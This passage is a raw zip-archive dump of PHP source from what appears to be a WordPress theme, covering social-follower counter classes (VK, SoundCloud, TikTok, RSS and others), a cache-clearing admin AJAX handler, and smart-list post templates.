		}

		return $counter;
	}
endif;

if ( ! function_exists( 'penci_remote_get' ) ) :
	function penci_remote_get( $url, $json = true, $args = array(
		'timeout'   => 18,
		'sslverify' => false,
	) ) {

		$get_request = preg_replace( '/\s+/', '', $url );
		$get_request = wp_remote_get( $url, $args );

		$request = wp_remote_retrieve_body( $get_request );

		if ( $json ) {
			$request = @json_decode( $request, true );
		}

		return $request;
	}
endif;

add_action(
	'mb_settings_page_submit_buttons',
	function () {
		if ( isset( $_GET['page'] ) && 'penci_social_counter_settings' == $_GET['page'] ) {

			echo '<button data-nonce="' . wp_create_nonce( 'penci-reset-social-cache' ) . '" class="button button-secondary penci-reset-social-cache">' . __( 'Clear Counter Caches', 'soledad' ) . '</button>';
		}
	}
);

add_action( 'wp_ajax_penci_social_clear_all_caches', 'penci_social_clear_all_caches' );
function penci_social_clear_all_caches() {
	check_ajax_referer( 'penci-reset-social-cache' );
	if ( ! current_user_can( 'manage_options' ) ) {
		return;
	}
	global $wpdb;
	$transients = $wpdb->get_results(
		"SELECT option_name AS name, option_value AS value FROM $wpdb->options 
              WHERE option_name LIKE '_transient_%'"
	);
	foreach ( $transients as $std => $value ) {
		$t_name = $value->name;
		if ( strpos( $t_name, 'penci_counter' ) !== false ) {
			delete_transient( str_replace( '_transient_', '', $t_name ) );
		}
	}
	wp_send_json_success( array( 'messages' => __( 'Successfully clear all social counter cache.', 'soledad' ) ), 200 );
	wp_die();
}
PK     1w\:>2    !  social-counter/counter-vk-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Vk_API' ) ):
	class Penci_Social_Counter_Vk_API {
		public static function get_count( $data, $cache_period ) {

			$page_id       = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']   = $page_id;
			$data['icon']  = penci_icon_by_ver( 'fab fa-vk' );
			$vk_api        = penci_get_social_counter_option( 'vk_api' );
			$default_count = penci_get_social_counter_option( 'vk_default' );
			$vk_count      = $default_count ? $default_count : get_transient( 'penci_counter_vk' . $page_id );

			if ( ! $vk_count ) {
				$count = self::get_vk_count( $page_id, $vk_api );
				set_transient( 'penci_counter_vk' . $page_id, $count, $cache_period );
			} else {
				$count = $vk_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		public static function get_vk_count( $id, $api ) {
			$url         = 'https://api.vk.com/method/users.getFollowers?user_id=' . $id . '&v=5.74&access_token=' . $api;
			$status_code = @get_headers( $url, 1 );
			$response    = array();
			if ( strpos( $status_code[0], '200' ) ) {
				$response = wp_remote_get( $url, array(
					'timeout' => 10,
				) );
			}
			if ( is_array( $response ) && ! is_wp_error( $response ) ) {
				$result = json_decode( $response['body'] );
				if ( ! empty( $result->response->count ) ) {
					return $result->response->count;
				}
			}

			return 0;
		}
	}

endif;
PK     1w\s    %  social-counter/counter-tumblr-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Tumblr_API' ) ):
	class Penci_Social_Counter_Tumblr_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = $page_id;
			$data['icon'] = penci_icon_by_ver( 'fab fa-tumblr' );

			$default_count = penci_get_social_counter_option( 'tumblr_default' );


			$data['count'] = $default_count ? $default_count : 0;


			return $data;
		}
	}

endif;
PK     1w\    )  social-counter/counter-soundcloud-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Soundcloud_API' ) ):
	class Penci_Social_Counter_Soundcloud_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = "https://soundcloud.com/$page_id";
			$data['icon'] = penci_icon_by_ver( 'fab fa-soundcloud' );

			$default_count = penci_get_social_counter_option( 'soundcloud_default' );

			$soundcloud_count = $default_count ? $default_count : get_transient( 'penci_counter_soundcloud' . $page_id );

			if ( ! $soundcloud_count ) {
				$count = self::get_soundcloud_count( $page_id );
				set_transient( 'penci_counter_soundcloud' . $page_id, $count, $cache_period );
			} else {
				$count = $soundcloud_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		private static function get_soundcloud_count( $page_id ) {
			$status_code = @get_headers( "https://soundcloud.com/$page_id", 1 );
			$response    = array();
			if ( strpos( $status_code[0], '200' ) ) {
				$response = wp_remote_get( "https://soundcloud.com/$page_id", array(
					'timeout' => 10,
				) );
			}
			if ( ! empty( $response ) && ! is_wp_error( $response ) ) {
				$pattern = "/<meta property=\"soundcloud:follower_count\" content=\"(.*?)\">/";
				preg_match( $pattern, $response['body'], $matches );
				if ( ! empty( $matches[1] ) ) {
					return (int) $matches[1];
				}
			}

			return 0;
		}
	}

endif;
PK     1w\ |C  C  %  social-counter/counter-tiktok-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Tiktok_API' ) ):
	class Penci_Social_Counter_Tiktok_API {
		public static function get_count( $data, $cache_period ) {
			if ( empty( $data['name'] ) ) {
				return $data;
			}

			$user_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['icon'] = penci_icon_by_ver( 'penciicon-tik-tok-1' );

			$cache_key     = 'penci_counter_tiktok' . $user_id;
			$default_count = penci_get_social_counter_option( 'tiktok_default' );
			$tiktok_count  = $default_count ? $default_count : get_transient( $cache_key );
			$data['url']   = "https://www.tiktok.com/@$user_id";

			if ( ! $tiktok_count ) {

				$count = self::get_tiktok_count( $user_id );

				set_transient( $cache_key, $count, $cache_period );
			} else {
				$count = $tiktok_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		public static function get_tiktok_count( $username ): string {
			$count    = 0;
			$url      = "https://www.tiktok.com/@{$username}";
			$response = wp_remote_get( $url, array(
				'timeout'    => 20,
				'user-agent' => 'Mozilla/5.0 (iPhone; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.25 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1'
			) );

			if ( is_array( $response ) && ! is_wp_error( $response ) ) {
				$pattern = "/data-e2e=\"followers-count\" class=\"(.*?)\">(.*?)<\/strong>/";
				preg_match_all( $pattern, $response['body'], $matches );

				if ( isset( $matches[2][1] ) ) {
					$count = $matches[2][1];
				}
			}

			return $count;
		}
	}

endif;
PK     1w\/"k  k  "  social-counter/counter-rss-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Rss_API' ) ):
	class Penci_Social_Counter_Rss_API {
		public static function get_count( $data, $cache_period ) {

			$user_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['icon'] = penci_icon_by_ver( 'fab fa-rss' );

			$cache_key = 'penci_counter__rss' . $user_id;
			$rss_count = get_transient( $cache_key );

			$rss_type        = penci_get_social_counter_option( 'rss_type' );
			$rss_feedpress   = penci_get_social_counter_option( 'rss_feedpress' );
			$rss_default     = penci_get_social_counter_option( 'rss_default' );
			$rss_default_url = penci_get_social_counter_option( 'rss_feed_uri' );

			if ( $rss_type == 'feedpress' && $rss_feedpress ) {
				$data['url'] = esc_url( $rss_feedpress );
			} elseif ( $rss_default_url ) {
				$data['url'] = esc_url( $rss_default_url );
			}

			if ( ! $rss_count ) {

				if ( ( $rss_type == 'feedpress' ) && ! empty( $rss_feedpress ) ) {
					try {
						$feedpress_url = esc_url( $rss_feedpress );
						$feedpress_url = str_replace( 'feedpress.it', 'feed.press', $feedpress_url );

						$data   = @penci_remote_get( $feedpress_url );
						$result = (int) $data['subscribers'];
					} catch ( Exception $e ) {
						$result = 0;
					}
				} elseif ( ( $rss_type == 'manual' ) && ! empty( $rss_default ) ) {
					$result = $rss_default;
				} else {
					$result = 0;
				}

				if ( ! empty( $result ) ) {
					$data['count'] = $result;
					set_transient( $cache_key, $result, $cache_period );
				}
			} else {
				$data['count'] = $rss_count;
			}

			return $data;
		}
	}

endif;
PK     1w\A'    %  smartlists/class_penci_smartlists.phpnu [        <?php

abstract class Penci_SmartLists {

	private $counting_order_asc = false;
	private $counting_start = 1;
	protected $use_pagination = false;
	private $list_items;

	abstract protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number );

	function get_content( $smart_list_settings ) {

		$this->counting_order_asc = $smart_list_settings['counting_order_asc'];


		$penci_tokenizer                   = new Penci_Splitter();
		$penci_tokenizer->list_title_start = $smart_list_settings['penci_smart_list_h'];
		$penci_tokenizer->list_title_end   = $smart_list_settings['penci_smart_list_h'];


		$list_items = $penci_tokenizer->split_to_list_items( array(
				'content'             => $smart_list_settings['post_content'],
				'extract_first_image' => $smart_list_settings['extract_first_image']
			)
		);

		if ( empty( $list_items['list_items'] ) ) {
			return $smart_list_settings['post_content'];
		}

		$list_items = $this->add_numbers_to_list_items( $list_items );

		if ( $this->use_pagination === true ) {

			$current_page = $this->get_current_page( $list_items );

			return $this->render( $list_items, $current_page );
		} else {
			return $this->render( $list_items );
		}

	}


	private function add_numbers_to_list_items( $list_items ) {

		$total_items_number = count( $list_items['list_items'] ) - 1 + $this->counting_start; // fix for 0 base counting (0 of 3 - to -  3 of 3)

		foreach ( $list_items['list_items'] as $list_item_key => &$list_item ) {

			if ( $this->counting_order_asc === true ) {
				$current_item_index = $list_item_key + $this->counting_start;
			} else {
				$current_item_index = $total_items_number - ( $list_item_key );
			}

			$list_item['current_item_number'] = $current_item_index;
			$list_item['total_items_number']  = $total_items_number;
		}

		return $list_items;
	}

	private function render( $list_items, $current_page = false ) {


		$this->list_items = $list_items;

		$content = '';

		if ( ! empty( $list_items['before_list'] ) ) {
			$content .= implode( '', $list_items['before_list'] );
		}

		$content .= $this->render_before_list_wrap();  //from child class

		if ( $current_page === false ) {
			foreach ( $list_items['list_items'] as $list_item_key => $list_item ) {
				$content .= $this->render_list_item( $list_item, $list_item_key + 1, $list_item['current_item_number'], $list_item['total_items_number'] );
			}
		} else {

			$array_id_from_paged = $current_page - 1;
			$content             .= $this->render_list_item(
				$list_items['list_items'][ $array_id_from_paged ],
				$array_id_from_paged,
				$list_items['list_items'][ $array_id_from_paged ]['current_item_number'],
				$list_items['list_items'][ $array_id_from_paged ]['total_items_number']
			);
		}

		$content .= $this->render_after_list_wrap();

		if ( ! empty( $list_items['after_list'] ) ) {
			$content .= implode( '', $list_items['after_list'] );
		}

		return $content;
	}

	protected function callback_render_pagination() {


		$content = '';

		$current_page = $this->get_current_page( $this->list_items );
		$total_pages  = count( $this->list_items['list_items'] );

		if ( $total_pages == 1 ) {
			return '';
		}

		if ( $current_page == 1 ) {
			$content .= '<div class="pcsml-pagination">';
			$content .= '<span class="pcsml-button pcsm-back pcsm-disable"><i class="penciicon-left-chevron"></i>' . penci_get_setting( 'penci_trans_back' ) . '</span>';
			$content .= '<a class="pcsml-button pcsm-next" rel="next" href="' . $this->_wp_link_page( $current_page + 1 ) . '">' . penci_get_setting( 'penci_trans_next' ) . '<i class="penciicon-right-chevron"></i></a>';
			$content .= '</div>';
		} elseif ( $current_page == $total_pages ) {
			$content .= '<div class="pcsml-pagination">';
			$content .= '<a class="pcsml-button pcsm-back" rel="prev" href="' . $this->_wp_link_page( $current_page - 1 ) . '"><i class="penciicon-left-chevron"></i>' . penci_get_setting( 'penci_trans_back' ) . '</a>';
			$content .= '<span class="pcsml-button pcsm-next pcsm-disable">' . penci_get_setting( 'penci_trans_next' ) . '<i class="penciicon-right-chevron"></i></span>';
			$content .= '</div>';
		} else {
			$content .= '<div class="pcsml-pagination">';
			$content .= '<a class="pcsml-button pcsm-back" rel="prev" href="' . $this->_wp_link_page( $current_page - 1 ) . '"><i class="penciicon-left-chevron"></i>' . penci_get_setting( 'penci_trans_back' ) . '</a>';
			$content .= '<a class="pcsml-button pcsm-next" rel="next" href="' . $this->_wp_link_page( $current_page + 1 ) . '">' . penci_get_setting( 'penci_trans_next' ) . '<i class="penciicon-right-chevron"></i></a>';
			$content .= '</div>';
		}

		return $content;
	}


	protected function callback_render_drop_down_pagination() {
		$content = '';


		$current_page = $this->get_current_page( $this->list_items );
		$total_pages  = count( $this->list_items['list_items'] );

		if ( $total_pages == 1 ) {
			return '';
		}


		$content .= '<div class="pcsml-dropdown-wrap">';


		if ( $current_page == 1 ) {
			$content .= '<span class="pcsml-button pcsm-back pcsm-disable"><i class="penciicon-left-chevron"></i><span>' . penci_get_setting( 'penci_trans_back' ) . '</span></span>';
		} else {
			$content .= '<a class="pcsml-button pcsm-back" href="' . $this->_wp_link_page( $current_page - 1 ) . '"><i class="penciicon-left-chevron"></i><span>' . penci_get_setting( 'penci_trans_back' ) . '</span></a>';
		}


		$content .= '<div class="pcsml-container"><select class="pcsml-dropdown">';
		foreach ( $this->list_items['list_items'] as $index => $list_item ) {
			$list_item_page_nr = $index + 1;
			$selected          = '';

			if ( $current_page == $list_item_page_nr ) {
				$selected = 'selected';
			}

			$content .= '<option ' . $selected . ' value="' . esc_attr( $this->_wp_link_page( $list_item_page_nr ) ) . '">' . $list_item['current_item_number'] . ' - ' . $list_item['title'] . '</option>';
		}
		$content .= '<select></div>';


		if ( $current_page == $total_pages ) {
			$content .= '<span class="pcsml-button pcsm-next pcsm-disable"><span>' . penci_get_setting( 'penci_trans_next' ) . '</span><i class="penciicon-right-chevron"></i></span>';
		} else {
			$content .= '<a class="pcsml-button pcsm-next" href="' . $this->_wp_link_page( $current_page + 1 ) . '"><span>' . penci_get_setting( 'penci_trans_next' ) . '</span><i class="penciicon-right-chevron"></i></a>';
		}


		$content .= '</div>';

		return $content;
	}

	private function get_current_page( $list_items ) {

		$current_page = get_query_var( 'list' );

		if ( empty( $current_page ) ) {
			return 1;
		}

		$total_pages = count( $list_items['list_items'] );
		if ( $current_page > $total_pages ) {
			$current_page = $total_pages;
		}

		return $current_page;
	}

	public function _wp_link_page( $i ) {

		$url = get_permalink();

		if ( 1 < $i ) {
			$url = add_query_arg( [ 'list' => $i ], $url );
		}

		return esc_url( $url );
	}

	protected function render_before_list_wrap() {
		return '';
	}

	protected function render_after_list_wrap() {
		return '';
	}

	function get_formatted_list_items( $smart_list_settings ) {
		$this->counting_order_asc          = $smart_list_settings['counting_order_asc'];
		$penci_tokenizer                   = new Penci_Splitter();
		$penci_tokenizer->list_title_start = $smart_list_settings['penci_smart_list_h'];
		$penci_tokenizer->list_title_end   = $smart_list_settings['penci_smart_list_h'];


		$list_items = $penci_tokenizer->split_to_list_items( array(
				'content'             => $smart_list_settings['post_content'],
				'extract_first_image' => $smart_list_settings['extract_first_image']
			)
		);

		if ( empty( $list_items['list_items'] ) ) {
			return $smart_list_settings['post_content'];
		}

		return $this->add_numbers_to_list_items( $list_items );
	}

}PK     1w\VD    +  smartlists/templates/penci_smartlists_5.phpnu [        <?php


class Penci_SmartLists_Style_5 extends Penci_SmartLists {
	protected $use_pagination = true; // set this to true to use rela pagination on this template
	protected $atts = array();

	function __construct( $atts ) {
		$this->atts = $atts;
	}


	protected function render_before_list_wrap() {
		return '<div class="pcsml_style_5">';
	}


	protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number ) {

		$content = '';

		//creating each slide
		$content .= '<div class="pcsml-item">';

		$content .= '<div class="pcsml-head">';
		// render the pagination
		$content .= $this->callback_render_pagination();

		$sm_title_tag = isset( $this->atts['sm_title_tag'] ) && $this->atts['sm_title_tag'] ? esc_attr( $this->atts['sm_title_tag'] ) : apply_filters( 'sm_title_tag', 'h2' );
		$content      .= '<' . $sm_title_tag . '><span class="pcsml-item-title">' . $current_item_number . '. ' . $item_array['title'] . '</span></' . $sm_title_tag . '>';
		$content      .= '</div>';


		//adding description
		if ( ! empty( $item_array['description'] ) ) {
			$item_array['description'] = preg_replace( '/<(div)\b([^>]*?)(attachment_' . $item_array['first_img_id'] . ')([^>]*?)>(.*?)<\/div>/', '', $item_array['description'] );
			$content                   .= '<div class="pcsml-desc">' . $item_array['description'] . '</div>';
		}


		// ad smart list
		$content .= $this->atts['sm_ad'];


		//get image link target
		$first_img_link_target = $item_array['first_img_link_target'];

		//image type and width
		$first_image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		if ( isset( $this->atts['first_image_size'] ) && $this->atts['first_image_size'] != '' ) {
			$first_image_size = $this->atts['first_image_size'];
		}

		if ( isset( $this->atts['first_image_msize'] ) && $this->atts['first_image_msize'] != '' && penci_is_mobile() ) {
			$first_image_size = $this->atts['first_image_msize'];
		}

		$first_img_src = wp_get_attachment_image_url( $item_array['first_img_id'], $first_image_size );

		$first_img_info = wp_get_attachment_image_src( $item_array['first_img_id'], $first_image_size );

		//image caption
		$first_img_caption = $item_array['first_img_caption'];

		//image alt
		$first_img_alt = get_post_meta( $item_array['first_img_id'], '_wp_attachment_image_alt', true );

		if ( ! empty( $first_img_info[0] ) ) {

			// class used by magnific popup
			$smart_list_lightbox = " penci-lightbox";

			// if a custom link is set use it
			if ( ! empty( $item_array['first_img_link'] ) && $first_img_src != $item_array['first_img_link'] ) {
				$first_img_src = $item_array['first_img_link'];

				// remove the magnific popup class for custom links
				$smart_list_lightbox = "";
			}

			if ( $this->atts['disablelazy'] ) {
				$img_html = '<img src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			} else {
				$image_width  = $first_img_info[1];
				$image_height = $first_img_info[2];
				$img_html     = '<img width="' . $image_width . '" height="' . $image_height . '" class="penci-lazy" src="' . penci_holder_image_base( $image_width, $image_height ) . '" data-src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			}

			$content .= '
                            <figure class="pcsml-figure pcsml-slide-7' . $smart_list_lightbox . '">
                                <a class="pcsml-image-link" href="' . $first_img_src . '" data-caption="' . esc_attr( $first_img_caption, ENT_QUOTES ) . '" ' . $first_img_link_target . ' >
                                    ' . $img_html . '
                                </a>
                            </figure>
                            <figcaption class="pcsml-caption"><div>' . $first_img_caption . '</div></figcaption>
                            ';
		}

		$content .= '</div>';

		// render the pagination
		$content .= $this->callback_render_pagination();

		return $content;
	}


	protected function render_after_list_wrap() {
		return '</div>';
	}


}PK     1w\c  c  +  smartlists/templates/penci_smartlists_1.phpnu [        <?php


class Penci_SmartLists_Style_1 extends Penci_SmartLists {
	protected $atts = array();

	function __construct( $atts ) {
		$this->atts = $atts;
	}

	protected function render_before_list_wrap() {
		return '<div class="pcsml_style_1">';
	}


	protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number ) {

		$sm_title_tag = isset( $this->atts['sm_title_tag'] ) && $this->atts['sm_title_tag'] ? esc_attr( $this->atts['sm_title_tag'] ) : apply_filters( 'sm_title_tag', 'h2' );

		$content = '';

		//creating each slide
		$content .= '<div class="pcsml-item">';

		//get the title
		$smart_list_1_title = '';
		if ( ! empty( $item_array['title'] ) ) {
			$smart_list_1_title = $item_array['title'];
		}

		$content .= '<div class="pcsml-title-wrapper">';
		$content .= '<' . $sm_title_tag . '>';
		$content .= '<div class="pcsml-item-number"><span>' . $current_item_number . '</span></div>';
		$content .= '<span class="pcsml-item-title">' . $smart_list_1_title . '</span>';
		$content .= '</' . $sm_title_tag . '>';
		$content .= '</div>';


		//get image link target
		$first_img_link_target = $item_array['first_img_link_target'];

		//image type and width
		$first_image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		if ( isset( $this->atts['first_image_size'] ) && $this->atts['first_image_size'] != '' ) {
			$first_image_size = $this->atts['first_image_size'];
		}

		if ( isset( $this->atts['first_image_msize'] ) && $this->atts['first_image_msize'] != '' && penci_is_mobile() ) {
			$first_image_size = $this->atts['first_image_msize'];
		}

		//get image src

		$first_img_info = wp_get_attachment_image_src( $item_array['first_img_id'], $first_image_size );

		//image caption
		$first_img_caption = $item_array['first_img_caption'];
		$first_img_caption = $first_img_caption ? $first_img_caption : wp_get_attachment_caption( $item_array['first_img_id'] );
		//image alt
		$first_img_alt = get_post_meta( $item_array['first_img_id'], '_wp_attachment_image_alt', true );

		if ( ! empty( $first_img_info[0] ) ) {

			// class used by magnific popup
			$smart_list_lightbox = " penci-lightbox";

			// if a custom link is set use it
			if ( ! empty( $item_array['first_img_link'] ) ) {

				// remove the magnific popup class for custom links
				$smart_list_lightbox = "";
			}

			if ( $this->atts['disablelazy'] ) {
				$img_html = '<img src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			} else {
				$image_width  = $first_img_info[1];
				$image_height = $first_img_info[2];
				$img_html     = '<img width="' . $image_width . '" height="' . $image_height . '" class="penci-lazy" src="' . penci_holder_image_base( $image_width, $image_height ) . '" data-src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			}

			$content .= '
                        <figure class="pcsml-figure pcsml-slide-2' . $smart_list_lightbox . '">
                            <a class="pcsml-image-link" href="' . $first_img_info[0] . '" data-caption="' . esc_attr( $first_img_caption, ENT_QUOTES ) . '" ' . $first_img_link_target . ' >
                                ' . $img_html . '
                            </a>
                        </figure>
                        <figcaption class="pcsml-caption"><div>' . $first_img_caption . '</div></figcaption>
                        ';
		}


		//adding description
		if ( ! empty( $item_array['description'] ) ) {
			$item_array['description'] = preg_replace( '/<(div)\b([^>]*?)(attachment_' . $item_array['first_img_id'] . ')([^>]*?)>(.*?)<\/div>/', '', $item_array['description'] );
			$content                   .= '<div class="pcsml-desc">' . $item_array['description'] . '</div>';
		}

		$content .= '</div>';

		return $content;
	}


	protected function render_after_list_wrap() {
		return '</div>';
	}
}PK     1w\K([U    +  smartlists/templates/penci_smartlists_3.phpnu [        <?php


class Penci_SmartLists_Style_3 extends Penci_SmartLists {
	protected $atts = array();

	function __construct( $atts ) {
		$this->atts = $atts;
	}

	protected function render_before_list_wrap() {
		return '<div class="pcsml_style_3">';
	}


	protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number ) {

		$content = '';

		//creating each slide
		$content .= '<div class="pcsml-item">';

		//get image link target
		$first_img_link_target = $item_array['first_img_link_target'];

		//image type and width
		$first_image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		if ( isset( $this->atts['first_image_size'] ) && $this->atts['first_image_size'] != '' ) {
			$first_image_size = $this->atts['first_image_size'];
		}

		if ( isset( $this->atts['first_image_msize'] ) && $this->atts['first_image_msize'] != '' && penci_is_mobile() ) {
			$first_image_size = $this->atts['first_image_msize'];
		}

		$first_img_src = wp_get_attachment_image_url( $item_array['first_img_id'], $first_image_size );

		$first_img_info = wp_get_attachment_image_src( $item_array['first_img_id'], $first_image_size );

		//image caption
		$first_img_caption = $item_array['first_img_caption'];

		//image alt
		$first_img_alt = get_post_meta( $item_array['first_img_id'], '_wp_attachment_image_alt', true );

		if ( ! empty( $first_img_info[0] ) ) {

			// class used by magnific popup
			$smart_list_lightbox = " penci-lightbox";

			// if a custom link is set use it
			if ( ! empty( $item_array['first_img_link'] ) && $first_img_src != $item_array['first_img_link'] ) {
				$first_img_src = $item_array['first_img_link'];

				// remove the magnific popup class for custom links
				$smart_list_lightbox = "";
			}

			if ( $this->atts['disablelazy'] ) {
				$img_html = '<img src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			} else {
				$image_width  = $first_img_info[1];
				$image_height = $first_img_info[2];
				$img_html     = '<img width="' . $image_width . '" height="' . $image_height . '" class="penci-lazy" src="' . penci_holder_image_base( $image_width, $image_height ) . '" data-src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			}

			$content .= '
                <div class="pcsml-figure-wrapper">
                        <figure class="pcsml-figure pcsml-slide-5' . $smart_list_lightbox . '">
                        <div class="pcsml-item-number"><span>' . $current_item_number . '</span></div>
                            <a class="pcsml-image-link" href="' . $first_img_src . '" data-caption="' . esc_attr( $first_img_caption, ENT_QUOTES ) . '" ' . $first_img_link_target . ' >
                                ' . $img_html . '
                            </a>
                        </figure>
                        <figcaption class="pcsml-caption"><div>' . $first_img_caption . '</div></figcaption>
                </div>
                        ';
		}


		//get the title
		$smart_list_3_title = '';
		if ( ! empty( $item_array['title'] ) ) {
			$smart_list_3_title = $item_array['title'];
		}
		//title
		$sm_title_tag = 'h2';
		if ( isset( $this->atts['sm_title_tag'] ) ) {
			$sm_title_tag = esc_attr( $this->atts['sm_title_tag'] );
		}
		$content .= '<div class="pcsml-title-wrapper"><' . $sm_title_tag . ' class="pcsml-item-title">' . $smart_list_3_title . '</' . $sm_title_tag . '></div>';


		//adding description
		if ( ! empty( $item_array['description'] ) ) {
			$item_array['description'] = preg_replace( '/<(div)\b([^>]*?)(attachment_' . $item_array['first_img_id'] . ')([^>]*?)>(.*?)<\/div>/', '', $item_array['description'] );
			$content                   .= '<div class="pcsml-desc">' . $item_array['description'] . '</div>';
		}

		$content .= '</div>';

		return $content;
	}


	protected function render_after_list_wrap() {
		return '</div>';
	}
}PK     1w\_Ղ    +  smartlists/templates/penci_smartlists_6.phpnu [        <?php


class Penci_SmartLists_Style_6 extends Penci_SmartLists {
	protected $use_pagination = true; // set this to true to use rela pagination on this template
	protected $atts = array();

	function __construct( $atts ) {
		$this->atts = $atts;
	}


	protected function render_before_list_wrap() {
		return '<div class="pcsml_style_6">';
	}


	protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number ) {

		$sm_title_tag = isset( $this->atts['sm_title_tag'] ) && $this->atts['sm_title_tag'] ? esc_attr( $this->atts['sm_title_tag'] ) : apply_filters( 'sm_title_tag', 'h2' );

		$content = '';

		//get image link target
		$first_img_link_target = $item_array['first_img_link_target'];

		//image type and width
		$first_image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		if ( isset( $this->atts['first_image_size'] ) && $this->atts['first_image_size'] != '' ) {
			$first_image_size = $this->atts['first_image_size'];
		}

		if ( isset( $this->atts['first_image_msize'] ) && $this->atts['first_image_msize'] != '' && penci_is_mobile() ) {
			$first_image_size = $this->atts['first_image_msize'];
		}

		$first_img_src = wp_get_attachment_image_url( $item_array['first_img_id'], $first_image_size );

		$first_img_info = wp_get_attachment_image_src( $item_array['first_img_id'], $first_image_size );

		//image caption
		$first_img_caption = $item_array['first_img_caption'];

		//image alt
		$first_img_alt = get_post_meta( $item_array['first_img_id'], '_wp_attachment_image_alt', true );

		// render the pagination
		$content .= $this->callback_render_drop_down_pagination();

		// ad smart list
		$content .= $this->atts['sm_ad'];

		//creating each slide
		$content .= '<div class="pcsml-item">';
		$content .= '<div class="pcsml-title-wrapper"><' . $sm_title_tag . '><span class="pcsml-item-title">' . $item_array['title'] . '</span></' . $sm_title_tag . '></div>';


		if ( ! empty( $first_img_info[0] ) ) {

			// class used by magnific popup
			$smart_list_lightbox = " penci-lightbox";

			// if a custom link is set use it
			if ( ! empty( $item_array['first_img_link'] ) && $first_img_src != $item_array['first_img_link'] ) {
				$first_img_src = $item_array['first_img_link'];

				// remove the magnific popup class for custom links
				$smart_list_lightbox = "";
			}

			if ( $this->atts['disablelazy'] ) {
				$img_html = '<img src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			} else {
				$image_width  = $first_img_info[1];
				$image_height = $first_img_info[2];
				$img_html     = '<img width="' . $image_width . '" height="' . $image_height . '" class="penci-lazy" src="' . penci_holder_image_base( $image_width, $image_height ) . '" data-src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			}

			$content .= '
                            <figure class="pcsml-figure pcsml-slide-7' . $smart_list_lightbox . '">
                                <a class="pcsml-image-link" href="' . $first_img_src . '" data-caption="' . esc_attr( $first_img_caption, ENT_QUOTES ) . '" ' . $first_img_link_target . ' >
                                    ' . $img_html . '
                                </a>
                            </figure>
                            <figcaption class="pcsml-caption"><div>' . $first_img_caption . '</div></figcaption>
                            ';
		}

		//adding description
		if ( ! empty( $item_array['description'] ) ) {
			$item_array['description'] = preg_replace( '/<(div)\b([^>]*?)(attachment_' . $item_array['first_img_id'] . ')([^>]*?)>(.*?)<\/div>/', '', $item_array['description'] );
			$content                   .= '<div class="pcsml-desc">' . $item_array['description'] . '</div>';
		}


		$content .= '</div>';

		// render the pagination
		$content .= $this->callback_render_drop_down_pagination();

		return $content;
	}


	protected function render_after_list_wrap() {
		return '</div>';
	}


}PK     1w\"}ȣ    +  smartlists/templates/penci_smartlists_2.phpnu [        <?php


class Penci_SmartLists_Style_2 extends Penci_SmartLists {
	protected $atts = array();

	function __construct( $atts ) {
		$this->atts = $atts;
	}

	protected function render_before_list_wrap() {
		return '<div class="pcsml_style_2">';
	}


	protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number ) {

		$sm_title_tag = isset( $this->atts['sm_title_tag'] ) && $this->atts['sm_title_tag'] ? esc_attr( $this->atts['sm_title_tag'] ) : apply_filters( 'sm_title_tag', 'h2' );

		$content = '';

		//creating each slide
		$content .= '<div class="pcsml-item">';

		//get the title
		$smart_list_2_title = '';
		if ( ! empty( $item_array['title'] ) ) {
			$smart_list_2_title = $item_array['title'];
		}

		//adding description
		if ( ! empty( $item_array['description'] ) ) {

			$item_array['description'] = preg_replace( '/<(div)\b([^>]*?)(attachment_' . $item_array['first_img_id'] . ')([^>]*?)>(.*?)<\/div>/', '', $item_array['description'] );

			$content .= '<div class="pcsml-info">';
			$content .= '<div class="pcsml-title-wrapper">';
			$content .= '<' . $sm_title_tag . '>';
			$content .= '<div class="pcsml-item-number"><span>' . $current_item_number . '</span></div>';
